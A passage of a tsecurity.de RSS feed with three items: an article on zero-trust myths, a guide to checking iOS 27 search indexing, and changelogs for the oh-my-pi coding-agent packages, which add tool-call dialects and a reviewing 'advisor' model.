<link>https://tsecurity.de/de/3601184/it-security-nachrichten/zero-trust-isnt-broken-most-companies-just-do-it-wrong/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3601184/it-security-nachrichten/zero-trust-isnt-broken-most-companies-just-do-it-wrong/</guid>
<pubDate>Tue, 16 Jun 2026 11:08:25 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Zero trust is 15 years old, and like many teenagers, it can feel misunderstood and underappreciated.</p>



<p>The concept of zero trust was first defined by <a href="https://www.linkedin.com/in/john-kindervag-40572b1/">John Kindervag</a>, a Forrester analyst at the time, as a strategy to replace the outmoded perimeter security model with a “never trust, always verify” approach. But going from principle to practice isn’t easy.</p>



<p><a href="https://www.accenture.com/content/dam/accenture/final/accenture-com/document-3/State-of-Cybersecurity-report.pdf#zoom=40" target="_blank" rel="noreferrer noopener">Accenture</a> reports that 88% of organizations have encountered significant challenges implementing zero trust. In a recent <a href="https://www.gartner.com/en/newsroom/press-releases/2024-04-22-gartner-survey-reveals-63-percent-of-organizations-worldwide-have-implemented-a-zero-trust-strategy" target="_blank" rel="noreferrer noopener">Gartner</a> survey, 35% of respondents who indicated that they either attempted or partially attempted a zero-trust initiative suffered failures that adversely affected their organization. “Gartner has observed numerous instances of failed zero-trust initiatives among end users who lacked a strategic and measurable plan,” the report says.</p>



<p>At last year’s DefCon 33 conference, U.K. security researchers from AmberWolf <a href="https://www.networkworld.com/article/4039042/def-con-research-takes-aim-at-ztna-calls-it-a-bust.html" target="_blank">poked holes in zero trust</a> by identifying potential vulnerabilities in zero-trust network access (ZTNA) offerings from three vendors. “It turns out there are no magic ZTNA beans; we’ve got the same old bug classes reimagined for a new technology stack,” said AmberWolf researcher Richard Warren. “Rather than zero trust, we’re actually putting a lot of trust into these vendors to process our data securely.”  </p>



<p><a href="https://www.linkedin.com/in/mjhaber/">Morey Haber</a>, author and chief security advisor at BeyondTrust, sums up the state of zero trust in 2026 this way: “We all agree: zero trust is necessary. But it’s been hard to implement.” Haber describes the gap between intention and execution as “massive” during a <a href="https://www.computerworld.com/video/4084071/is-zero-trust-failing-or-just-misunderstood.html" target="_blank">Today in Tech episode</a> focused on whether zero trust is failing or just misunderstood. “It doesn’t matter what you read or which framework you follow,” Haber said during the podcast. “The core issue is that we have a concept with principles and tenets, but not enough guidance on how to implement it.”</p>



<p>Here are some myths and misconceptions associated with zero trust, as well as tips on how to avoid the pitfalls and successfully implement zero trust.</p>



<h2 class="wp-block-heading">Myth: Zero trust is a product</h2>



<p>Even after 15 years, there is still considerable confusion about what zero trust is. It answers to many definitions—strategy, philosophy, concept, mindset, and architecture.</p>



<p>Chase Cunningham<em>, </em>who bills himself as <a href="https://www.drzerotrust.com/" target="_blank" rel="noreferrer noopener">DrZeroTrust</a>, says,”Security is not a product, but a combination of strategy, process, and execution. Zero trust is not just an architecture—it’s a mindset. There is no zero-trust product, period.”</p>



<p>Haber agrees. “You have vendors claiming to sell “zero-trust” products, which is misleading. There’s no such thing as a zero-trust product. Products implement security controls, but they don’t embody zero-trust principles.”</p>



<p>He cautions, “If a vendor says, ‘This remote access solution achieves zero-trust principles,’ that’s great, but I have yet to see one that delivers more than 10%-15% of the required controls.”</p>



<p>Gartner adds, “The concept of zero trust is a security approach that organizations adopt to mitigate access risks associated with networks, applications, and associated data. This is frequently overshadowed by vendor marketing, which tends to promise high expectations but often delivers suboptimal results.”</p>



<h2 class="wp-block-heading">Myth: Zero trust is a technology</h2>



<p><a href="https://www.utsystem.edu/offices/information-security/chief-information-security-officer" target="_blank" rel="noreferrer noopener">George Finney</a>, CISO at the University of Texas and author of two books on zero trust, tells <em>Network World</em> that zero trust is not a technology; in other words, it’s not micro-segmentation to block lateral movement by attackers; it’s not policy-based identity to control who gets access to enterprise resources. Those are tools and tactics that help implement zero trust.</p>



<p>Zero trust at its core is a way of thinking about risk that requires breaking down silos among security teams, networking groups, business units, compliance, and risk management functions, according to Finney.</p>



<p>The first pillar of zero trust, as defined by Kindervag, is identifying the highest-priority protect surfaces in the organization. Kindervag says that unless the organization has a clear understanding of what the crown jewels are, there’s no way a zero-trust project can be successful. Kindevag adds that IT doesn’t necessarily know what those high-value protect surfaces are, but business leaders do, and that’s where a zero-trust initiative should start.</p>



<p>The second pillar of zero trust is to map transaction flows associated with those mission-critical protect surfaces. Again, this requires coordination and collaboration with teams running key enterprise applications. This is particularly important in today’s multi-cloud environments, where a specific business process can span on-prem, edge, cloud, containers, microservices, etc.</p>



<p>“It’s not a technology issue at the end of the day that makes it hard,” Finney says. It’s people issues, cultural issues, and politics. He recommends that organizations think holistically about securing sensitive data across all attack surfaces, including endpoints, remote users, IoT devices, LLMs, AI agents, etc.</p>



<p>Gartner adds, “It is not a product or technology-focused exercise but rather a methodology driven by the organization’s overall objective and priorities.”</p>



<h2 class="wp-block-heading">Myth: Zero trust is expensive  </h2>



<p>Finney says zero trust does not have to break the bank. “A lot of folks think it’s going to be too expensive, but it doesn’t have to be,” he adds. Here are key steps on the road to zero trust that don’t involve buying anything<strong>.</strong></p>



<p><strong>Identifying high-value protect surfaces. </strong>This requires thinking like an attacker and pinpointing the assets that an attacker is most likely to consider valuable. Finney adds, “In a given protect surface, you might have multiple controls that all have to be working together to remove those trust relationships.”  </p>



<p><strong>Creating a zero-trust team</strong>. Finney says most organizations already have governance, risk management, and compliance teams that can be brought into a comprehensive zero-trust task force that includes security and networking groups. Gartner adds, “A zero-trust strategy must be initiated at the executive level and integrated across all departments and teams.”</p>



<p><strong>Education. </strong>Education is critical, says Finney. “It’s helping folks see the big picture. It gets people out of their silos.”Finney adds that a major challenge is political, having to deal with a fragmented organization in which many stakeholders are dismissive of security because it’s not what they’re measured on. For example, application developers who are under the gun to get software out the door aren’t necessarily incentivized to bake security into their processes. <strong> </strong></p>



<p><strong>Creating a strategy. </strong>“When I talk to boards of directors, they understand that to be successful in any part of the business, you need to have a strategy. That resonates from the top,” says Finney. <strong></strong></p>



<p>In its analysis of why zero-trust initiatives fail, Gartner says, “The lack of a business-aligned strategic plan has led to ineffective governance, miscommunication, poor risk management, minimal budget allocation, poor execution of the organizational security objectives, and inefficient use of limited resources.”</p>



<p><strong>Defining an architecture: </strong>Every organization is different, so there is no boilerplate architecture that can be applied everywhere. Organizations need to write a specific architecture that fits their business needs, their level of risk tolerance, their specific vertical industry, and their unique technology infrastructure.</p>



<p><strong>Setting and applying policies. </strong>Again, there is no line item associated with writing access control and identity management policies.  </p>



<p><strong>Leveraging existing tools.</strong> It’s important to realize that nobody is starting from zero.</p>



<p>Most organizations already have multi-factor authentication or single sign-on in place, they already have identity management, network management, web application firewalls, etc. The key is to integrate and align existing technology and identify gaps where new tools might be needed.</p>



<p>Speaking to AmberWolf’s point that attackers can always find bugs in vendor software, zero-trust advocates counter that zero trust implies defense in depth. So, even if there’s a flaw that allows an attacker to gain end-user credentials and access the network, there will be multiple security controls in place, such as incident detection, micro-segmentation, monitoring of end-user sessions, and controls that prevent access to and exfiltration of sensitive data.</p>



<h2 class="wp-block-heading">Myth: Zero trust is difficult to implement</h2>



<p>Zero trust doesn’t have to be hard to implement if organizations follow widely disseminated guidance provided by <a href="https://nvlpubs.nist.gov/nistpubs/specialpublications/NIST.SP.800-207.pdf" target="_blank" rel="noreferrer noopener">NIST</a>, numerous books, webinars, podcasts, experts, consultants, and more.</p>



<p>Finney recommends starting small and showing quick wins. Zero trust can’t be implemented all at once across a large organization; it requires a targeted, methodical strategy.</p>



<p>The preferred approach is to start with those high-value protect surfaces and apply tools that support the overall architecture in a coordinated, consistent, managed, and monitored fashion.  </p>



<p>“An overall strategy can deploy different tactics,” Finney says. “You want to think about what will have the biggest impact on your organization today.” He says organizations need to make informed data-driven decisions based on logs, metrics, and other data, while factoring in an analysis of what attackers are doing vs. the specific vulnerabilities and weak points in the organization’s defenses.</p>



<p>Gartner states: “Narrowing the scope of initiatives or projects within the zero-trust program is essential for attaining a zero-trust posture within practical and reasonable timeframes. Organizations define overly expansive future target states by incorporating an excessive number of systems, applications, use cases, or datasets in the initial phase—or by proposing overly intricate and granular policy sets. They will encounter scalability and cost challenges, along with extended project timelines.”</p>



<h2 class="wp-block-heading">Myth: AI breaks ZTNA</h2>



<p>Enterprises are racing to deploy generative AI and unleash semi-autonomous AI agents. This new world of black box large language models (LLM) and non-human identities (NHI) raises concerns that zero trust is an outdated strategy that’s not up to the challenge.</p>



<p>Leading zero-trust proponents are pushing back, however, arguing that the core principles still apply. “With AI, zero trust is more important than ever,” says Finney. “Zero trust is a strategy; we don’t change the strategy because AI came out. AI proves how important that strategy is.”</p>



<p>“AI is not magic,” he adds. “We secure it the same way we secure everything else. We integrate it into the tech stack and monitor it.”</p>



<p>Kindervag, currently chief evangelist at Illumio, concurs. “AI doesn’t change the fundamentals of zero trust. It reinforces them. Zero trust is the strategy that allows you to safely embrace AI. Without strict segmentation, policy enforcement, and control over data flows, AI becomes another soft and chewy center waiting to be exploited.” He adds, “You don’t need a new security strategy for AI. You just need to apply the right one. That’s zero trust.”</p>



<h2 class="wp-block-heading">Myth: There’s no way to measure success</h2>



<p>Any project that seeks support from the board and C-suite, needs to be able to justify itself through some sort of metrics. Zero trust is no exception, but how do you measure “not getting hacked?”</p>



<p>Gartner says teams should use outcome-driven metrics that link zero-trust initiatives directly to business objectives.“It’s crucial to focus on schedule adherence, cost discipline, and control effectiveness,” says Gartner. “Focus on outcomes like reduced breach incidents, improved compliance rates, and enhanced operational efficiency. Additionally, identify specific risks, such as lateral movement, data breaches, account takeovers, and insider threats, which are essential to drive value, and organizations can better justify investments and drive continuous improvement.”</p>



<h2 class="wp-block-heading">Myth: Zero-trust projects have a completion date</h2>



<p>Zero trust is more about the journey than the destination,” Finney says. He points out that organizations are constantly growing and changing. At the same time, attackers are evolving. “Zero trust is a strategy. You’re never done with a strategy,” he adds.</p>



<p>Kindervag’s final pillar of zero trust is to monitor and maintain. In other words, organizations need to be actively monitoring to make sure that access control policies are not being violated. And the zero-trust implementation needs to keep pace with changing business needs.</p>



<p>And since zero trust calls for organizations to focus on the highest value protect surfaces first, there are always additional protect surfaces that can be added under the zero-trust umbrella.</p>



<p>When Finney looks back on how things have evolved over the past 15 years, he is encouraged by the fact that tools have improved dramatically. Teams can now apply AI and machine learning to functions like anomaly detection or incident detection and response. And there are now ways to automate tasks like networking monitoring or policy enforcement.</p>



<p>“Overall, I’m feeling guardedly optimistic,” Finney says, “but the work is not done. We need to continue to make strides.”</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[How to Check If iOS 27 Is Still Indexing Your iPhone]]></title>
<description><![CDATA[If you recently updated your iPhone to iOS 27 and keep seeing the message "Indexing in Progress," you are not alone. Many users have noticed this message after installing the latest software update. The good news is that it is usually a normal process rather than a bug.



With iOS 27, Apple has ...]]></description>
<link>https://tsecurity.de/de/3600623/ios-mac-os/how-to-check-if-ios-27-is-still-indexing-your-iphone/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3600623/ios-mac-os/how-to-check-if-ios-27-is-still-indexing-your-iphone/</guid>
<pubDate>Tue, 16 Jun 2026 06:34:45 +0200</pubDate>
<category>🍏 iOS / Mac OS</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you recently updated your iPhone to iOS 27 and keep seeing the message "Indexing in Progress," you are not alone. Many users have noticed this message after installing the latest software update. The good news is that it is usually a normal process rather than a bug.



With iOS 27, Apple has rebuilt parts of its search infrastructure, which means your iPhone needs to re-index content stored on the device. This includes Messages, Photos, Mail, Notes, Files, and Spotlight Search results. During this process, some search results may be incomplete, Siri AI features may take longer to become available, and battery life can temporarily be affected. 



Apple's new search system automatically starts indexing after the update is installed. Reports indicate that iOS 27 performs a more extensive re-indexing process than previous releases.



In this guide, we'll show you how to check the actual indexing status in iOS 27 and confirm whether your iPhone is still processing data in the background.



Table of contentsCheck Indexing Status Through Siri &amp; SearchCheck Spotlight Search ResultsCheck Messages Search IndexingCheck Battery and Device ActivityLet Your iPhone Finish Indexing FasterFAQsSummaryConclusion



Check Indexing Status Through Siri &amp; Search



One of the easiest ways to verify indexing activity is through the Search settings.



When indexing is still underway, iOS 27 may display a message indicating that search results are still being prepared.




Open the Settings app.



Scroll down and tap Siri &amp; Search.



Look for any indexing-related message or status indicator.



If you see "Indexing in Progress," your iPhone is still processing content.



Wait until the message disappears.




Some users have reported that Apple added a small progress indicator for background indexing after updating to iOS 27.



Check Spotlight Search Results



Spotlight Search can reveal whether indexing has completed.



If results are missing from Messages, Photos, Mail, or Notes, indexing is likely still running.




Swipe down on the Home Screen.



Open Spotlight Search.



Search for an older message, photo, note, or email.



Compare the results with what you expect to find.



If content is missing or incomplete, indexing may still be in progress.




Apple's new search infrastructure rebuilds indexes for multiple apps after an update. Search results can remain incomplete until the process finishes.



Check Messages Search Indexing



Messages is often the easiest place to verify indexing progress.



Many users first notice indexing issues when searching for older conversations.




Open the Messages app.



Tap the search bar.



Search for an old contact name or keyword.



Scroll through the results.



If you see messages indicating that more results will appear after indexing finishes, the process is still ongoing.




Message indexing can take additional time if you have a large message history stored in iCloud.



Check Battery and Device Activity



Background indexing often causes temporary increases in battery usage and device activity.




Open Settings.



Go to Battery.



Review recent battery activity.



Look for unusually high background activity after updating.



Leave the device connected to Wi-Fi and charging when possible.




Users commonly report higher battery drain immediately after major iOS updates while indexing completes.



Let Your iPhone Finish Indexing Faster



If indexing seems stuck, there are a few things you can do to help the process complete more quickly.




Connect your iPhone to a charger.



Connect to a stable Wi-Fi network.



Leave the device locked for several hours.



Make sure Low Power Mode is disabled.



Keep sufficient free storage available.



Restart your iPhone if indexing appears frozen.




Many users report that indexing completes faster when the device remains plugged in and connected to Wi-Fi. Average completion times can range from a few hours to longer periods depending on storage size and data volume.



FAQs



Why does iOS 27 show "Indexing in Progress"? The message appears because iOS 27 rebuilds search indexes for Spotlight, Photos, Mail, Messages, Notes, and other searchable content after an update.  How long does indexing take in iOS 27? For many users, indexing finishes within a few hours. Devices with large photo libraries, extensive message histories, or significant iCloud data can take longer.  Does indexing affect battery life? Yes. Temporary battery drain is common while indexing is running in the background. Battery performance typically returns to normal once indexing is complete.  Can I stop indexing? There is no official way to stop the process. It is a necessary system task that allows search features to work correctly.  Why are some search results missing? Search results may remain incomplete until all content has been indexed. This is especially noticeable in Messages, Mail, and Photos.  



Summary




Open Settings &gt; Siri &amp; Search to look for indexing messages.



Use Spotlight Search to test whether results are complete.



Search inside Messages to verify indexing progress.



Check battery activity for signs of background processing.



Keep your iPhone charging and connected to Wi-Fi.



Allow enough time for large libraries to finish indexing.



Restart the device if indexing appears stalled.




Conclusion



Seeing "Indexing in Progress" on iOS 27 is usually expected after installing the update. Apple's redesigned search infrastructure rebuilds indexes for your apps and content so that Spotlight, Siri AI, Photos, Mail, and Messages can deliver faster and more accurate results. While the process can temporarily affect battery life and search functionality, it generally resolves on its own. Using the methods above, you can quickly determine whether indexing is still running and confirm when your iPhone has finished processing all of your data.]]></content:encoded>
</item>
<item>
<title><![CDATA[v16.0.0]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Breaking Changes

Renamed owned tool-calling options from toolCallSyntax/exampleSyntax to dialect/exampleDialect.
Changed compaction conversation serialization to use the target model's native dialect turn, thinking, tool-call, and tool-result envelopes when a dialect is s...]]></description>
<link>https://tsecurity.de/de/3599602/tools/v1600/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3599602/tools/v1600/</guid>
<pubDate>Mon, 15 Jun 2026 17:47:30 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-agent-core</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Renamed owned tool-calling options from <code>toolCallSyntax</code>/<code>exampleSyntax</code> to <code>dialect</code>/<code>exampleDialect</code>.</li>
<li>Changed compaction conversation serialization to use the target model's native dialect turn, thinking, tool-call, and tool-result envelopes when a dialect is selected.</li>
<li>Renamed the owned dialect environment variable from <code>PI_OWNED_TOOLS</code> to <code>PI_DIALECT</code>.</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added <code>onTurnEnd</code> hook support (<code>setOnTurnEnd</code>/<code>onTurnEnd</code>) to run awaited per-turn bookkeeping with current messages before the next model request and skip callback execution for aborted or error turns</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Renamed <code>toolCallSyntax</code> option to <code>dialect</code> in AgentOptions and AgentLoopConfig</li>
<li>Updated conversation serialization to use dialect's native transcript rendering when a dialect is selected</li>
<li>Changed internal references from <code>ToolCallSyntax</code> type to <code>Dialect</code> type across agent loop and compaction modules</li>
</ul>
<h2>@oh-my-pi/pi-ai</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Renamed the public dialect entrypoint from <code>@oh-my-pi/pi-ai/grammar</code> to <code>@oh-my-pi/pi-ai/dialect</code>.</li>
<li>Renamed grammar dialect identifiers from <code>ToolCallSyntax</code> to <code>Dialect</code>, renamed the <code>Grammar</code> interface to <code>DialectDefinition</code>, and renamed <code>Grammar.syntax</code> to <code>DialectDefinition.dialect</code>.</li>
<li>Added <code>DialectDefinition.renderThinking</code> and <code>DialectDefinition.renderTranscript</code> so dialect implementations serialize complete native chat transcripts, not just tool call/result blocks.</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added <code>renderTranscript</code> method to dialect definitions for serializing complete native chat transcripts</li>
<li>Added <code>renderThinking</code> method to dialect definitions for rendering thinking/reasoning blocks</li>
<li>Added support for 11 dialect implementations: Anthropic, DeepSeek, Gemini, Gemma, GLM, Harmony, Hermes, Kimi, Pi-native, Qwen3, and XML</li>
<li>Added <code>createInbandScanner</code> factory function to instantiate dialect-specific scanners</li>
<li>Added <code>getDialectDefinition</code> function to retrieve dialect implementations by name</li>
<li>Added <code>renderToolCatalog</code> and <code>renderInbandToolPrompt</code> functions for tool catalog rendering</li>
<li>Added <code>renderToolInventory</code> function to generate human-readable per-tool documentation with examples</li>
<li>Added <code>renderToolExamples</code> function to render tool usage examples in the model's native dialect</li>
<li>Added <code>encodeInbandToolHistory</code> function to encode tool call history in dialect-specific format</li>
<li>Added <code>wrapInbandToolStream</code> function to process streaming responses with in-band tool call parsing</li>
<li>Added <code>ThinkingInbandScanner</code> for parsing thinking/reasoning blocks across dialects</li>
<li>Added <code>OwnedStream</code> class for managing dialect-aware streaming with tool call events</li>
<li>Added in-band thinking channels to every dialect that was missing one: <code>gemini</code> (a <code>```thinking</code> fence mirroring <code>```tool_code</code>), <code>gemma</code> (its native <code>&lt;|channel&gt;thought…&lt;channel|&gt;</code> reasoning channel), <code>kimi</code> (<code>&lt;think&gt;…&lt;/think&gt;</code>), and <code>pi</code> (<code>&lt;thinking&gt;…&lt;/thinking&gt;</code>). Each scanner now parses reasoning into thinking events instead of leaking chain-of-thought into the visible reply, and every dialect's <code>renderThinking</code> is a real channel that round-trips back through its scanner (no passthrough renderers).</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Moved public dialect entrypoint from <code>@oh-my-pi/pi-ai/grammar</code> to <code>@oh-my-pi/pi-ai/dialect</code> in package exports</li>
<li>Updated internal imports in <code>stream-markup-healing.ts</code> to use new dialect module path</li>
<li>Changed <code>renderToolInventory</code> to demote a tool description's own markdown headers by one level when it contains a top-level <code># </code> header, so they nest under the wrapping <code># Tool: &lt;name&gt;</code> heading instead of reading as sibling sections. Descriptions that already start at <code>##</code> and headers inside fenced code blocks are left untouched.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed Gemini, Gemma, Kimi, and Pi in-band scanners to respect <code>parseThinking: false</code>, leaving private reasoning markers in visible text when parsing is disabled</li>
<li>Fixed thinking-channel parsing for streaming Gemini, Gemma, Kimi, and Pi outputs so split or partial <code>&lt;thinking&gt;</code> blocks no longer leak into visible replies</li>
<li>Fixed in-band thinking finalization and Kimi stream-healing interactions so leaked <code>&lt;think&gt;</code> blocks are preserved when structured tool calls are present, not duplicated when explicit reasoning is present, and closed on stream flush.</li>
</ul>
<h3>Removed</h3>
<ul>
<li>Removed <code>src/grammar/factory.ts</code> (replaced by <code>src/dialect/factory.ts</code>)</li>
<li>Removed <code>src/grammar/rendering.ts</code> (functionality moved to <code>src/dialect/rendering.ts</code>)</li>
<li>Removed <code>src/grammar/xml.ts</code> (replaced by <code>src/dialect/xml.ts</code>)</li>
</ul>
<h2>@oh-my-pi/pi-catalog</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Renamed the catalog-owned tool syntax API from <code>ToolCallSyntax</code>/<code>FALLBACK_TOOL_SYNTAX</code>/<code>preferredToolSyntax</code> to <code>Dialect</code>/<code>FALLBACK_DIALECT</code>/<code>preferredDialect</code>.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Renamed the SDK tool format type and resolver from <code>ToolCallFormat</code>/<code>resolveToolCallSyntax</code> to <code>DialectFormat</code>/<code>resolveDialect</code>, and the agent option from <code>toolCallSyntax</code> to <code>dialect</code>.</li>
<li>Changed <code>/dump</code> transcript output to render messages with the selected model's native dialect turn and thinking envelopes instead of markdown role headings.</li>
</ul>
<h3>Added</h3>
<ul>
<li>Added <code>advisor.syncBacklog</code> setting (<code>off</code>, <code>1</code>, <code>3</code>, <code>5</code>) to pause turn completion until advisor review backlog drops below the threshold, with a maximum 30-second wait</li>
<li>Added advisor backlog synchronization at turn end when enabled so the main session stays aligned with the advisor's pending review turns</li>
<li>Added automatic discovery of WATCHDOG.md files from user and project locations so advisor guidance from local watchdog instructions is appended to its system prompt</li>
<li>Added <code>/advisor on</code>, <code>/advisor off</code>, <code>/advisor status</code>, and <code>/advisor dump [raw]</code> slash-command subcommands to manage the advisor at runtime</li>
<li>Added <code>advisor.enabled</code> and <code>advisor.subagents</code> settings to enable the advisor and extend it to spawned task/eval subagents</li>
<li>Added advisor status badge (<code>++</code> in success color) to the status line when an advisor is active</li>
<li>Added <code>/dump [raw]</code> flag to toggle between compact and legacy uncompact transcript output formats</li>
<li>Added <code>/advisor on</code>, <code>/advisor off</code>, and <code>/advisor status</code> slash-command subcommands to enable or disable the advisor at runtime and view advisor status metrics</li>
<li>Added a passive advisor: assign a second model to the <code>advisor</code> role and enable <code>advisor.enabled</code> to have it silently review each primary turn and inject severity-tagged advice notes via the <code>advise</code> tool. A <code>nit</code> rides the non-interrupting aside queue (batched into one card at the next step boundary), while a <code>concern</code> or <code>blocker</code> interrupts the running agent through the steering channel — aborting in-flight tools, or resuming the agent when it has already yielded — so high-severity advice is acted on immediately. Advice renders in the primary transcript as a distinct <code>Advisor</code> card, and the advisor gets hard-isolated read-only <code>read</code>/<code>search</code>/<code>find</code> access — bound to its own <code>ToolSession</code> so its reads never touch the primary's snapshot/seen-lines caches — to investigate the workspace before weighing in. The status line shows a <code>++</code> badge (in the success color, kept distinct from the model name) after the model name while an advisor is active, and <code>/advisor dump</code> copies the advisor's own transcript to the clipboard. Advisors are created only for the top-level session by default; enable <code>advisor.subagents</code> to extend them to spawned task/eval subagents.</li>
<li>Animated "thinking" pulse (<code>·‥…‥</code>) shown in place of a hidden thinking block while the model is actively reasoning, so streaming progress is visible even with <code>hideThinkingBlock</code> enabled.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed advisor prompting guidance to emit at most one <code>advise</code> per update and to prefer silence when the agent is on track</li>
<li>Changed <code>/dump</code> default output to compact markdown format; use <code>/dump raw</code> for the legacy uncompact format</li>
<li>Changed <code>/dump</code> and <code>/advisor dump</code> to default to compact transcript output and accept an optional <code>raw</code> flag for the legacy uncompact format</li>
<li>Session dump output now renders message history using the model's native dialect turn envelope instead of markdown role headings</li>
<li>Changed RPC, RPC-UI, and ACP hosts to default the advisor settings off instead of inheriting a user's interactive-session advisor preference.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed advisor backlog tracking so failed advice prompts do not stall catch-up indefinitely by dropping pending backlog after repeated consecutive failures</li>
<li>Fixed backlog accounting to decrement only after successful advisor prompts so sync waits correctly reflect advisor progress</li>
<li>Fixed advisor context batching to still send pending review updates when context maintenance fails instead of dropping the batch</li>
<li>Fixed explicit advisor enablement to clear protocol-default overrides so enabling the advisor applies immediately</li>
<li>Fixed advisor message card notes getting truncated to two lines when the card is collapsed.</li>
<li>Fixed advisor context handling to maintain its token budget by promoting or compacting/restarting advisor context while preserving advisor reasoning-off settings.</li>
<li>Fixed <code>startup.quiet</code> leaving MCP and LSP startup status events visible during launch (<a href="https://github.com/can1357/oh-my-pi/issues/2639" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2639/hovercard">#2639</a>).</li>
<li>Registered the <code>Advisor</code> group in the <code>model</code> settings tab so advisor settings render correctly in the settings panel.</li>
<li>Fixed Windows bash path handling so MSYS/Git-Bash drive aliases like <code>/d/project</code> and WSL-style <code>/mnt/d/project</code> normalize to native drive paths consistently across the bash tool cwd validation and brush filesystem builtins (<a href="https://github.com/can1357/oh-my-pi/issues/2634" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/2634/hovercard">#2634</a>).</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix: align tool cache paths with XDG dirs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Parsifa1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Parsifa1">@Parsifa1</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4664679585" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2637" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2637/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2637">#2637</a></li>
<li>fix(coding-agent): respect startup.quiet for startup statuses by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4664916547" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/2640" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/2640/hovercard" href="https://github.com/can1357/oh-my-pi/pull/2640">#2640</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.13.3...v16.0.0"><tt>v15.13.3...v16.0.0</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.13.3]]></title>
<description><![CDATA[@oh-my-pi/pi-agent-core
Added

Added the interruptible tool field: when set, the agent loop may abort the tool mid-execution to deliver a queued steering message (honored only in immediate interrupt mode).
Added support for gemini and gemma as valid owned tool syntax values in environment configu...]]></description>
<link>https://tsecurity.de/de/3598860/tools/v15133/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3598860/tools/v15133/</guid>
<pubDate>Mon, 15 Jun 2026 13:09:42 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-agent-core</h2>
<h3>Added</h3>
<ul>
<li>Added the <code>interruptible</code> tool field: when set, the agent loop may abort the tool mid-execution to deliver a queued steering message (honored only in <code>immediate</code> interrupt mode).</li>
<li>Added support for <code>gemini</code> and <code>gemma</code> as valid owned tool syntax values in environment configuration</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed <code>pruneToolOutputs</code> blanking tiny tool results during overflow pruning: results below <code>50</code> tokens (<code>MIN_PRUNE_TOKENS</code>) are no longer replaced with the <code>[Output truncated - N tokens]</code> placeholder, which cost more tokens than the result itself and churned the prompt cache for zero savings.</li>
</ul>
<h2>@oh-my-pi/pi-ai</h2>
<h3>Added</h3>
<ul>
<li>Added the <code>gemini</code> in-band tool-call syntax with Python-style <code>tool_code</code> blocks and <code>default_api</code> invocations</li>
<li>Added the <code>gemma</code> token-delimited in-band tool-call syntax using <code>&lt;|tool_call&gt;</code> and <code>&lt;|tool_response&gt;</code> blocks</li>
<li>Added <code>gemini</code> and <code>gemma</code> to owned stream tool-result token detection so their tool responses are recognized</li>
<li>Fixed truncated Gemini and Gemma tool blocks from being emitted as plain text during streaming</li>
<li>Added the Azure OpenAI provider definition (<code>azure</code>) to the registry; <code>AZURE_OPENAI_API_KEY</code> resolves as its env-var API key via the catalog provider table.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Gemini tool-call examples now render without the <code>default_api.</code> namespace prefix, keeping <code>&lt;example&gt;</code> blocks concise. The live wire format still uses <code>default_api.</code> per the Gemini grammar.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed duplicate tool call projections by deduplicating provider-native <code>toolCall</code> events against in-band <code>tool_code</code> calls and keeping only the first real channel</li>
<li>Dropped nameless native <code>toolCall</code> events so they no longer appear as surfaced tool calls in owned-mode streams</li>
<li>Fixed Gemini/Gemma in-band tool-call parsing around Python comments, raw/unicode string literals, and Gemma close-token text inside string values.</li>
</ul>
<h2>@oh-my-pi/pi-catalog</h2>
<h3>Added</h3>
<ul>
